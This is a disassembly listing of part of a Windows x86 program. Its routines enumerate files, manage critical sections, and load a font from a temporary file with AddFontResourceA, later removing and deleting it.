		mov	ecx, [ecx+8]
		add	ecx, eax
		mov	[ebp+var_40], ecx
		mov	eax, [ebp+var_40]
		mov	eax, [eax]
		mov	[ebp+var_44], eax
		xor	eax, eax
		mov	edi, [ebp+arg_4]
		stosd
		push	41h
		pop	ecx
		xor	eax, eax
		mov	edi, [ebp+arg_4]
		add	edi, 2Ch
		rep stosd
		cmp	[ebp+var_48], 104h
		jnb	short loc_490505
		mov	eax, [ebp+var_48]
		mov	[ebp+var_54], eax
		jmp	short loc_49050C
; ---------------------------------------------------------------------------

loc_490505:				; CODE XREF: sub_490252+2A9j
		mov	[ebp+var_54], 104h

loc_49050C:				; CODE XREF: sub_490252+2B1j
		mov	ecx, [ebp+var_54]
		mov	esi, [ebp+var_2C]
		mov	edi, [ebp+arg_4]
		add	edi, 2Ch
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		xor	eax, eax
		mov	edi, [ebp+arg_4]
		add	edi, 130h
		stosd
		stosd
		stosd
		stosw
		cmp	[ebp+var_48], 0Eh
		jbe	short loc_490545
		mov	[ebp+var_58], 0Eh
		jmp	short loc_49054B
; ---------------------------------------------------------------------------

loc_490545:				; CODE XREF: sub_490252+2E8j
		mov	eax, [ebp+var_48]
		mov	[ebp+var_58], eax

loc_49054B:				; CODE XREF: sub_490252+2F1j
		mov	ecx, [ebp+var_58]
		mov	esi, [ebp+var_2C]
		mov	edi, [ebp+arg_4]
		add	edi, 130h
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		movzx	eax, [ebp+var_30]
		neg	eax
		sbb	eax, eax
		and	eax, 0Fh
		inc	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_44]
		mov	ecx, [ecx+8]
		mov	[eax+20h], ecx
		mov	eax, [ebp+var_40]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+arg_4]
		mov	edx, [eax+1Ch]
		mov	[ecx+4], edx
		mov	eax, [eax+20h]
		mov	[ecx+8], eax
		mov	eax, [ebp+var_40]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+arg_4]
		mov	edx, [eax+1Ch]
		mov	[ecx+0Ch], edx
		mov	eax, [eax+20h]
		mov	[ecx+10h], eax
		mov	eax, [ebp+var_40]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+arg_4]
		mov	edx, [eax+1Ch]
		mov	[ecx+14h], edx
		mov	eax, [eax+20h]
		mov	[ecx+18h], eax
		cmp	[ebp+arg_8], 0
		jz	short loc_4905D2
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_40]
		mov	[eax], ecx

loc_4905D2:				; CODE XREF: sub_490252+376j
		push	0FFFFFFFFh
		mov	[ebp+var_5C], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_5C]
		jmp	short loc_49062D
; ---------------------------------------------------------------------------

loc_4905EB:				; CODE XREF: sub_490252+15Aj
					; sub_490252+1C8j
		cmp	[ebp+arg_8], 0
		jz	short loc_49060C
		mov	eax, ds:dword_4A2908
		mov	eax, [eax+0Ch]
		shl	eax, 4
		mov	ecx, ds:dword_4A2908
		mov	ecx, [ecx+8]
		add	ecx, eax
		mov	eax, [ebp+arg_8]
		mov	[eax], ecx

loc_49060C:				; CODE XREF: sub_490252+39Dj
		push	12h
		call	ds:dword_4A278C	; RtlRestoreLastWin32Error

loc_490614:				; CODE XREF: sub_490252+D1j
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_49061F
		jmp	short loc_49062B
sub_490252	endp


; =============== S U B	R O U T	I N E =======================================



sub_49061F	proc near		; CODE XREF: sub_490252+3C6p
					; DATA XREF: _5:0049F2D8o
		push	offset dword_4A28C8
		call	ds:dword_4A2754	; RtlLeaveCriticalSection
		retn
sub_49061F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_490252

loc_49062B:				; CODE XREF: sub_490252+3CBj
		xor	eax, eax

loc_49062D:				; CODE XREF: sub_490252+51j
					; sub_490252+13Aj ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_490252

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49063E	proc near		; CODE XREF: sub_49B334+Ep
					; sub_49B361+7Dp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_8]
		or	dword ptr [eax], 0FFFFFFFFh
		push	0Ch
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_49067B
		mov	eax, [ebp+var_8]
		and	dword ptr [eax], 0
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+4], 0
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+8], 0
		mov	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		jmp	short loc_49067F
; ---------------------------------------------------------------------------

loc_49067B:				; CODE XREF: sub_49063E+1Fj
		and	[ebp+var_C], 0

loc_49067F:				; CODE XREF: sub_49063E+3Bj
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	dword ptr [eax], 0
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_490252
		test	eax, eax
		jz	short loc_4906D8
		push	0
		push	[ebp+arg_0]
		call	sub_49A2CA
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+4], eax
		mov	eax, [ebp+var_4]
		and	dword ptr [eax+8], 0
		push	[ebp+var_4]
		push	[ebp+var_4]
		mov	ecx, ds:dword_4A28EC
		call	sub_48D000
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short locret_4906DA
; ---------------------------------------------------------------------------

loc_4906D8:				; CODE XREF: sub_49063E+5Dj
		xor	eax, eax

locret_4906DA:				; CODE XREF: sub_49063E+98j
		leave
		retn	0Ch
sub_49063E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4906DE	proc near		; CODE XREF: sub_49B626+12p
					; sub_49B657+19p

var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 00490805 SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F2F0
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:dword_4A28EC
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_490724
		mov	eax, [ebp+var_20]
		add	eax, 10h
		push	eax
		call	ds:dword_49F01C	; RtlEnterCriticalSection
		mov	[ebp+var_24], 1
		jmp	short loc_490728
; ---------------------------------------------------------------------------

loc_490724:				; CODE XREF: sub_4906DE+31j
		and	[ebp+var_24], 0

loc_490728:				; CODE XREF: sub_4906DE+44j
		movzx	eax, [ebp+var_24]
		test	eax, eax
		jz	loc_490805
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		mov	ecx, ds:dword_4A28EC
		call	sub_49C871
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	loc_4907DE
		mov	eax, [ebp+arg_8]
		and	dword ptr [eax], 0
		mov	eax, [ebp+var_1C]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_490778
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax+4]
		call	sub_490252
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax

loc_490778:				; CODE XREF: sub_4906DE+82j
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax], 0
		jnz	short loc_4907C5
		mov	eax, [ebp+var_1C]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_4907B1
		push	[ebp+arg_4]
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax+4]
		call	ds:dword_4A26D0	; FindFirstFileA
		mov	ecx, [ebp+var_1C]
		mov	[ecx+8], eax
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		setnz	cl
		mov	eax, [ebp+arg_8]
		mov	[eax], ecx
		jmp	short loc_4907C5
; ---------------------------------------------------------------------------

loc_4907B1:				; CODE XREF: sub_4906DE+A9j
		push	[ebp+arg_4]
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax+8]
		call	ds:dword_4A26D4	; FindNextFileA
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax

loc_4907C5:				; CODE XREF: sub_4906DE+A0j
					; sub_4906DE+D1j
		push	0FFFFFFFFh
		mov	[ebp+var_2C], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_2C]
		jmp	short loc_490807
; ---------------------------------------------------------------------------

loc_4907DE:				; CODE XREF: sub_4906DE+6Fj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4907E9
		jmp	short loc_490805
sub_4906DE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4907E9	proc near		; CODE XREF: sub_4906DE+104p
		mov	eax, ds:dword_4A28EC
		mov	[ebp-28h], eax
		cmp	dword ptr [ebp-28h], 0
		jz	short locret_490804
		mov	eax, [ebp-28h]
		add	eax, 10h
		push	eax
		call	ds:dword_49F018	; RtlLeaveCriticalSection

locret_490804:				; CODE XREF: sub_4907E9+Cj
		retn
sub_4907E9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4906DE

loc_490805:				; CODE XREF: sub_4906DE+50j
					; sub_4906DE+109j
		xor	eax, eax

loc_490807:				; CODE XREF: sub_4906DE+FEj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_4906DE

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_490818	proc near		; CODE XREF: sub_491741+CEp
					; sub_49B5FF+Bp

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00490939 SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F300
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:dword_4A28EC
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jz	short loc_49085E
		mov	eax, [ebp+var_28]
		add	eax, 10h
		push	eax
		call	ds:dword_49F01C	; RtlEnterCriticalSection
		mov	[ebp+var_2C], 1
		jmp	short loc_490862
; ---------------------------------------------------------------------------

loc_49085E:				; CODE XREF: sub_490818+31j
		and	[ebp+var_2C], 0

loc_490862:				; CODE XREF: sub_490818+44j
		movzx	eax, [ebp+var_2C]
		test	eax, eax
		jz	loc_490939
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		mov	ecx, ds:dword_4A28EC
		call	sub_49C871
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	loc_490912
		mov	eax, [ebp+var_1C]
		cmp	dword ptr [eax+8], 0
		jz	short loc_4908A2
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax+8]
		call	ds:dword_4A26A4	; CloseHandle

loc_4908A2:				; CODE XREF: sub_490818+7Cj
		push	[ebp+arg_0]
		mov	ecx, ds:dword_4A28EC
		call	sub_49C8E0
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_4908EC
		mov	eax, [ebp+var_20]
		mov	eax, [eax+4]
		mov	[ebp+var_30], eax
		push	[ebp+var_30]
		call	sub_4993DD
		pop	ecx
		push	1
		pop	eax
		and	eax, 1
		test	eax, eax
		jz	short loc_4908E4
		push	[ebp+var_20]
		call	sub_4993DD
		pop	ecx

loc_4908E4:				; CODE XREF: sub_490818+C1j
		mov	eax, [ebp+var_20]
		mov	[ebp+var_38], eax
		jmp	short loc_4908F0
; ---------------------------------------------------------------------------

loc_4908EC:				; CODE XREF: sub_490818+A5j
		and	[ebp+var_38], 0

loc_4908F0:				; CODE XREF: sub_490818+D2j
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax], 1
		push	0FFFFFFFFh
		mov	[ebp+var_3C], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_3C]
		jmp	short loc_49093B
; ---------------------------------------------------------------------------

loc_490912:				; CODE XREF: sub_490818+6Fj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_49091D
		jmp	short loc_490939
sub_490818	endp


; =============== S U B	R O U T	I N E =======================================



sub_49091D	proc near		; CODE XREF: sub_490818+FEp
					; DATA XREF: _5:0049F308o
		mov	eax, ds:dword_4A28EC
		mov	[ebp-34h], eax
		cmp	dword ptr [ebp-34h], 0
		jz	short locret_490938
		mov	eax, [ebp-34h]
		add	eax, 10h
		push	eax
		call	ds:dword_49F018	; RtlLeaveCriticalSection

locret_490938:				; CODE XREF: sub_49091D+Cj
		retn
sub_49091D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_490818

loc_490939:				; CODE XREF: sub_490818+50j
					; sub_490818+103j
		xor	eax, eax

loc_49093B:				; CODE XREF: sub_490818+F8j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; END OF FUNCTION CHUNK	FOR sub_490818

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49094C	proc near		; CODE XREF: sub_49C23E+20p

var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_78		= byte ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6C		= dword	ptr -6Ch
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00490AAF SIZE 000001F8 BYTES
; FUNCTION CHUNK AT 00490D11 SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F310
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 80h
		push	ebx
		push	esi
		push	edi
		or	[ebp+var_20], 0FFFFFFFFh
		or	[ebp+var_28], 0FFFFFFFFh
		and	[ebp+var_2C], 0
		and	[ebp+var_1C], 0
		and	[ebp+var_24], 0
		push	0
		lea	eax, [ebp+var_20]
		push	eax
		push	3
		push	80000000h
		push	[ebp+arg_0]
		call	sub_491346
		test	eax, eax
		jz	loc_490D11
		cmp	[ebp+var_20], 0FFFFFFFFh
		jz	loc_490D11
		mov	eax, ds:dword_4A28E4
		mov	[ebp+var_6C], eax
		cmp	[ebp+var_6C], 0
		jz	short loc_4909D0
		mov	eax, [ebp+var_6C]
		add	eax, 10h
		push	eax
		call	ds:dword_49F01C	; RtlEnterCriticalSection
		mov	[ebp+var_70], 1
		jmp	short loc_4909D4
; ---------------------------------------------------------------------------

loc_4909D0:				; CODE XREF: sub_49094C+6Fj
		and	[ebp+var_70], 0

loc_4909D4:				; CODE XREF: sub_49094C+82j
		movzx	eax, [ebp+var_70]
		test	eax, eax
		jz	loc_490D11
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		push	[ebp+var_20]
		mov	ecx, ds:dword_4A28E4
		call	sub_49C871
		mov	[ebp+var_30], eax
		mov	eax, [ebp+var_30]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_34], eax
		cmp	[ebp+var_30], 0
		jnz	short loc_490A1E
		push	ds:off_49F4F8
		push	22h
		push	ds:off_49F4FC
		call	sub_49948C

loc_490A1E:				; CODE XREF: sub_49094C+BDj
		mov	eax, ds:dword_4A28E8
		mov	[ebp+var_74], eax
		cmp	[ebp+var_74], 0
		jz	short loc_490A3F
		mov	eax, [ebp+var_74]
		add	eax, 10h
		push	eax
		call	ds:dword_49F01C	; RtlEnterCriticalSection
		mov	[ebp+var_78], 1
		jmp	short loc_490A43
; ---------------------------------------------------------------------------

loc_490A3F:				; CODE XREF: sub_49094C+DEj
		and	[ebp+var_78], 0

loc_490A43:				; CODE XREF: sub_49094C+F1j
		movzx	eax, [ebp+var_78]
		test	eax, eax
		jz	short loc_490AAF
		mov	[ebp+var_4], 1
		mov	eax, [ebp+var_30]
		push	dword ptr [eax]
		mov	ecx, ds:dword_4A28E8
		call	sub_49C871
		test	eax, eax
		jz	short loc_490A88
		push	0FFFFFFFFh
		mov	[ebp+var_84], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_84]
		jmp	loc_490D13
; ---------------------------------------------------------------------------

loc_490A88:				; CODE XREF: sub_49094C+118j
		and	[ebp+var_4], 0
		call	sub_490A93
		jmp	short loc_490AAF
sub_49094C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_490A93	proc near		; CODE XREF: sub_49094C+140p
					; DATA XREF: _5:0049F324o
		mov	eax, ds:dword_4A28E8
		mov	[ebp-7Ch], eax
		cmp	dword ptr [ebp-7Ch], 0
		jz	short locret_490AAE
		mov	eax, [ebp-7Ch]
		add	eax, 10h
		push	eax
		call	ds:dword_49F018	; RtlLeaveCriticalSection

locret_490AAE:				; CODE XREF: sub_490A93+Cj
		retn
sub_490A93	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_49094C

loc_490AAF:				; CODE XREF: sub_49094C+FDj
					; sub_49094C+145j
		push	104h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_50], eax
		mov	eax, [ebp+var_50]
		mov	[ebp+var_2C], eax
		push	104h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_54], eax
		mov	eax, [ebp+var_54]
		mov	[ebp+var_1C], eax
		push	[ebp+var_1C]
		push	104h
		call	ds:dword_4A2734	; GetTempPathA
		push	[ebp+var_2C]
		push	0
		push	offset aMbx	; "mbx"
		push	[ebp+var_1C]
		call	ds:dword_4A2730	; GetTempFileNameA
		push	0
		push	0
		push	4
		push	0
		push	1
		push	40000000h
		push	[ebp+var_2C]
		call	ds:dword_4A26A8	; CreateFileA
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0FFFFFFFFh
		jnz	short loc_490B3B
		push	0FFFFFFFFh
		mov	[ebp+var_88], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_88]
		jmp	loc_490D13
; ---------------------------------------------------------------------------

loc_490B3B:				; CODE XREF: sub_49094C+1CBj
		push	1000h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_58], eax
		mov	eax, [ebp+var_58]
		mov	[ebp+var_24], eax
		and	[ebp+var_38], 0

loc_490B53:				; CODE XREF: sub_49094C+2BFj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_38]
		cmp	ecx, [eax+8]
		jnb	loc_490C10
		mov	eax, [ebp+var_34]
		mov	eax, [eax+8]
		mov	[ebp+var_48], eax
		cmp	[ebp+var_48], 1000h
		jbe	short loc_490B7B
		mov	[ebp+var_48], 1000h

loc_490B7B:				; CODE XREF: sub_49094C+226j
		lea	eax, [ebp+var_40]
		push	eax
		push	0
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+var_48]
		push	[ebp+var_24]
		push	[ebp+var_20]
		call	sub_492177
		test	eax, eax
		jz	short loc_490B9D
		cmp	[ebp+var_40], 0
		jnz	short loc_490BBF

loc_490B9D:				; CODE XREF: sub_49094C+249j
		push	0FFFFFFFFh
		mov	[ebp+var_8C], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_8C]
		jmp	loc_490D13
; ---------------------------------------------------------------------------

loc_490BBF:				; CODE XREF: sub_49094C+24Fj
		push	0
		lea	eax, [ebp+var_44]
		push	eax
		push	[ebp+var_3C]
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	ds:dword_4A27BC	; WriteFile
		test	eax, eax
		jz	short loc_490BE0
		mov	eax, [ebp+var_44]
		cmp	eax, [ebp+var_3C]
		jz	short loc_490C02

loc_490BE0:				; CODE XREF: sub_49094C+28Aj
		push	0FFFFFFFFh
		mov	[ebp+var_90], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_90]
		jmp	loc_490D13
; ---------------------------------------------------------------------------

loc_490C02:				; CODE XREF: sub_49094C+292j
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_3C]
		mov	[ebp+var_38], eax
		jmp	loc_490B53
; ---------------------------------------------------------------------------

loc_490C10:				; CODE XREF: sub_49094C+210j
		push	[ebp+var_28]
		call	ds:dword_4A26A4	; CloseHandle
		or	[ebp+var_28], 0FFFFFFFFh
		push	[ebp+var_2C]
		call	ds:dword_4A27DC	; AddFontResourceA
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax], 0
		jnz	short loc_490C3C
		push	[ebp+var_2C]
		call	ds:dword_4A26C0	; DeleteFileA

loc_490C3C:				; CODE XREF: sub_49094C+2E5j
		push	8
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_5C], eax
		cmp	[ebp+var_5C], 0
		jz	short loc_490C67
		mov	eax, [ebp+var_5C]
		and	dword ptr [eax], 0
		mov	eax, [ebp+var_5C]
		mov	ecx, [ebp+var_2C]
		mov	[eax+4], ecx
		mov	eax, [ebp+var_5C]
		mov	[ebp+var_94], eax
		jmp	short loc_490C6E
; ---------------------------------------------------------------------------

loc_490C67:				; CODE XREF: sub_49094C+2FFj
		and	[ebp+var_94], 0

loc_490C6E:				; CODE XREF: sub_49094C+319j
		push	[ebp+var_94]
		mov	eax, [ebp+var_30]
		push	dword ptr [eax]
		mov	ecx, ds:dword_4A28E8
		call	sub_48D000
		and	[ebp+var_2C], 0
		push	0FFFFFFFFh
		mov	[ebp+var_98], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_98]
		jmp	short loc_490D13
; END OF FUNCTION CHUNK	FOR sub_49094C

; =============== S U B	R O U T	I N E =======================================



sub_490CA7	proc near		; DATA XREF: _5:0049F318o
		mov	eax, ds:dword_4A28E4
		mov	[ebp-80h], eax
		cmp	dword ptr [ebp-80h], 0
		jz	short loc_490CC2
		mov	eax, [ebp-80h]
		add	eax, 10h
		push	eax
		call	ds:dword_49F018	; RtlLeaveCriticalSection

loc_490CC2:				; CODE XREF: sub_490CA7+Cj
		cmp	dword ptr [ebp-20h], 0FFFFFFFFh
		jz	short loc_490CD4
		lea	eax, [ebp-4Ch]
		push	eax
		push	dword ptr [ebp-20h]
		call	sub_491741

loc_490CD4:				; CODE XREF: sub_490CA7+1Fj
		cmp	dword ptr [ebp-28h], 0FFFFFFFFh
		jz	short loc_490CE3
		push	dword ptr [ebp-28h]
		call	ds:dword_4A26A4	; CloseHandle

loc_490CE3:				; CODE XREF: sub_490CA7+31j
		mov	eax, [ebp-2Ch]
		mov	[ebp-60h], eax
		push	dword ptr [ebp-60h]
		call	sub_4993DD
		pop	ecx
		mov	eax, [ebp-1Ch]
		mov	[ebp-64h], eax
		push	dword ptr [ebp-64h]
		call	sub_4993DD
		pop	ecx
		mov	eax, [ebp-24h]
		mov	[ebp-68h], eax
		push	dword ptr [ebp-68h]
		call	sub_4993DD
		pop	ecx
		retn
sub_490CA7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_49094C

loc_490D11:				; CODE XREF: sub_49094C+53j
					; sub_49094C+5Dj ...
		xor	eax, eax

loc_490D13:				; CODE XREF: sub_49094C+137j
					; sub_49094C+1EAj ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; END OF FUNCTION CHUNK	FOR sub_49094C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_490D24	proc near		; CODE XREF: sub_49C277+20p

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F328
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		or	[ebp+var_20], 0FFFFFFFFh
		and	[ebp+var_1C], 0
		push	0
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_0]
		call	sub_49253F
		test	eax, eax
		jz	loc_490EBA
		movzx	eax, [ebp+var_24]
		test	eax, eax
		jnz	loc_490EBA
		mov	eax, ds:dword_4A28E8
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0
		jz	short loc_490D98
		mov	eax, [ebp+var_34]
		add	eax, 10h
		push	eax
		call	ds:dword_49F01C	; RtlEnterCriticalSection
		mov	[ebp+var_38], 1
		jmp	short loc_490D9C
; ---------------------------------------------------------------------------

loc_490D98:				; CODE XREF: sub_490D24+5Fj
		and	[ebp+var_38], 0

loc_490D9C:				; CODE XREF: sub_490D24+72j
		movzx	eax, [ebp+var_38]
		test	eax, eax
		jz	loc_490EBA
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		push	[ebp+var_1C]
		mov	ecx, ds:dword_4A28E8
		call	sub_49C871
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jz	loc_490E88
		mov	eax, [ebp+var_28]
		cmp	dword ptr [eax], 0
		jz	short loc_490DE8
		push	ds:off_49F4F8
		push	70h
		push	ds:off_49F4FC
		call	sub_49948C

loc_490DE8:				; CODE XREF: sub_490D24+AFj
		mov	eax, [ebp+var_28]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_490E04
		push	ds:off_49F4F8
		push	71h
		push	ds:off_49F4FC
		call	sub_49948C

loc_490E04:				; CODE XREF: sub_490D24+CBj
		mov	eax, [ebp+var_28]
		push	dword ptr [eax+4]
		call	ds:dword_4A27EC	; RemoveFontResourceA
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		mov	eax, [ebp+var_28]
		push	dword ptr [eax+4]
		call	ds:dword_4A26C0	; DeleteFileA
		push	[ebp+var_1C]
		mov	ecx, ds:dword_4A28E8
		call	sub_49C8E0
		mov	[ebp+var_30], eax
		mov	eax, [ebp+var_30]
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0
		jz	short loc_490E6B
		mov	eax, [ebp+var_2C]
		mov	eax, [eax+4]
		mov	[ebp+var_3C], eax
		push	[ebp+var_3C]
		call	sub_4993DD
		pop	ecx
		push	1
		pop	eax
		and	eax, 1
		test	eax, eax
		jz	short loc_490E63
		push	[ebp+var_2C]
		call	sub_4993DD
		pop	ecx

loc_490E63:				; CODE XREF: sub_490D24+134j
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_44], eax
		jmp	short loc_490E6F
; ---------------------------------------------------------------------------

loc_490E6B:				; CODE XREF: sub_490D24+118j
